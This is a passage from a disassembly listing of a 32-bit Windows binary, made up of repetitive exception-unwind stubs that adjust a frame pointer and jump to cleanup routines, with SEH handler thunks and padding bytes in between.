dword_438A58 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- loc_4330F8: ; DATA XREF: _8C6BDE73:00438ABCo mov ecx, [ebp-10h] add ecx, 28h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_438A90 jmp sub_430316 ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- mov eax, offset dword_438B48 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401EC9 ; --------------------------------------------------------------------------- mov eax, offset dword_438B78 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433268: ; DATA XREF: _8C6BDE73:00438BD4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438BA8 jmp sub_430316 ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4332C8: ; DATA XREF: _8C6BDE73:00438C2Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438C00 jmp sub_430316 ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438C58 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433348: ; DATA XREF: _8C6BDE73:00438CB4o lea ecx, [ebp-84h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438C88 jmp sub_430316 ; --------------------------------------------------------------------------- db 6 dup(0CCh) byte_43338E db 12h dup(0CCh) ; DATA XREF: sub_40E390+1A7o ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_4333AB: ; DATA XREF: _8C6BDE73:00438D14o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401195 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_40145B ; --------------------------------------------------------------------------- mov eax, offset dword_438CE8 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_4333FB: ; DATA XREF: _8C6BDE73:00438D5Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401195 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_40145B ; --------------------------------------------------------------------------- mov eax, offset dword_438D30 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438D78 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438DB0 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438DE0 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_40150A ; --------------------------------------------------------------------------- loc_4334A8: ; DATA XREF: _8C6BDE73:00438E3Co lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438E10 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4334C8: ; DATA XREF: _8C6BDE73:00438E74o lea ecx, [ebp-0A4h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438E48 jmp sub_430316 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433508: ; DATA XREF: _8C6BDE73:00438EB4o lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_40150A ; --------------------------------------------------------------------------- mov eax, offset dword_438E88 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438EC8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433558: ; DATA XREF: _8C6BDE73:00438F24o lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433560: ; DATA XREF: _8C6BDE73:00438F2Co mov eax, [ebp-40h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- loc_43356B: ; DATA XREF: _8C6BDE73:00438F34o lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438EF8 jmp sub_430316 ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433598: ; DATA XREF: _8C6BDE73:00438F6Co lea ecx, [ebp+4Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- mov eax, offset dword_438F40 jmp sub_430316 ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4335EB: ; DATA XREF: _8C6BDE73:00438FC4o mov ecx, [ebp-10h] add ecx, 19h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438F98 jmp sub_430316 ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433628: ; DATA XREF: _8C6BDE73:00439004o mov ecx, [ebp+14h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp+10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_438FD8 jmp sub_430316 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+4Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433668: ; DATA XREF: _8C6BDE73:0043904Co lea ecx, [ebp+34h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_430332 pop ecx retn ; --------------------------------------------------------------------------- mov eax, offset dword_439020 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4336B8: ; DATA XREF: _8C6BDE73:0043909Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439070 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4336F8: ; DATA XREF: _8C6BDE73:004390E4o mov ecx, [ebp+10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_4390B8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_4390F8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433748: ; DATA XREF: _8C6BDE73:00439154o lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439128 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433768: ; DATA XREF: _8C6BDE73:0043918Co lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439160 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_43378B: ; DATA XREF: _8C6BDE73:004391C4o mov ecx, [ebp-10h] add ecx, 19h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439198 jmp sub_430316 ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_4391D8 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439208 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433808: ; DATA XREF: _8C6BDE73:00439264o mov ecx, [ebp-10h] add ecx, 15h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439238 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp+4] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-48h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-44h] jmp sub_4011F9 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_439280 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401235 ; --------------------------------------------------------------------------- loc_4338A8: ; DATA XREF: _8C6BDE73:0043930Co mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_4013E8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401852 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401B72 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401A05 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_40148D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401D4D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401208 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4878Bh jmp sub_401366 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 48A75h jmp sub_40193D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 48A9Eh jmp sub_40207C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 590AFh jmp sub_401DE3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 590E1h jmp sub_4010FA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5916Fh jmp sub_4017BC ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 591A9h jmp sub_4016C2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 591BAh jmp sub_401DA7 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592A5h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592BAh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592CFh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592E4h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_4392E0 jmp sub_430316 ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401235 ; --------------------------------------------------------------------------- loc_433A08: ; DATA XREF: _8C6BDE73:004393E4o mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_4013E8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401852 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401B72 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401A05 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_40148D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401D4D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401208 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4878Bh jmp sub_401366 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 48A75h jmp sub_40193D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 48A9Eh jmp sub_40207C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 590AFh jmp sub_401DE3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 590E1h jmp sub_4010FA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5916Fh jmp sub_4017BC ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 591A9h jmp sub_4016C2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 591BAh jmp sub_401DA7 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592A5h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592BAh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592CFh jmp sub_4011F9 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 592E4h jmp sub_4011F9 ; --------------------------------------------------------------------------- mov eax, offset dword_4393B8 jmp sub_430316 ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439490 jmp sub_430316 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 9 jmp sub_4019F1 ; --------------------------------------------------------------------------- loc_433B8B: ; DATA XREF: _8C6BDE73:004394ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_4019F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_401EFB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_401EFB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_401EFB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_401EFB ; --------------------------------------------------------------------------- mov eax, offset dword_4394C0 jmp sub_430316 ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_433FBB: ; DATA XREF: _8C6BDE73:0043972Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439700 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43400B: ; DATA XREF: _8C6BDE73:00439774o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439748 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46808h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43407E: ; DATA XREF: _8C6BDE73:004397CCo mov ecx, [ebp-10h] add ecx, 46836h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46864h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 46892h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 468C0h jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_4397A0 jmp sub_430316 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_4340EB: ; DATA XREF: _8C6BDE73:0043981Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_4397F0 jmp sub_430316 ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43414B: ; DATA XREF: _8C6BDE73:0043986Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= SEH_4163B0 proc near ; DATA XREF: sub_4163B0+2o mov eax, offset dword_439840 jmp sub_430316 SEH_4163B0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43417B: ; DATA XREF: _8C6BDE73:004398A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_439878 jmp sub_430316 ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_4011F9 ; --------------------------------------------------------------------------- loc_4341CB: ; DATA XREF: _8C6BDE73:004398ECo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; --------------------------------------------------------------------------- mov eax, offset dword_4398C0 jmp sub_430316 ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43421B: ; DATA XREF: 